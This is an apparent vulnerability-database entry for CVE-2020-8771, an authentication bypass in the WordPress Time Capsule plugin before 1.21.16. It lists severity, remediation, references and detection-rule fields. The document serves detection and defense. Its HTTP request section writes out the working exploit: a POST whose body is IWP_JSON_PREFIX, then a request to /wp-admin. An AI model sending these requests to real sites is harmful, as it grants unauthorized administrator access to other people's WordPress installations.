🔙 목록으로 돌아가기

CVE-2020-8771: WordPress Time Capsule < 1.21.16 - Authentication Bypass

TitleWordPress Time Capsule < 1.21.16 - Authentication Bypass
Authorprincechaddha
SeverityCritical
ImpactAn attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin.
RemediationUpdate WordPress Time Capsule plugin to version 1.21.16 or later.
CVSS Score9.8
EPSS Score0.81044
CVE IDCVE-2020-8771
CWE IDCWE-287
Tags cve cve2020 wordpress wp-plugin wptimecapsule vuln

🔍 Vulnerability Description

WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Length: 15
Accept: */*
Connection: close
Accept-Encoding: gzip

IWP_JSON_PREFIX
GET /wp-admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8771.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8771.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A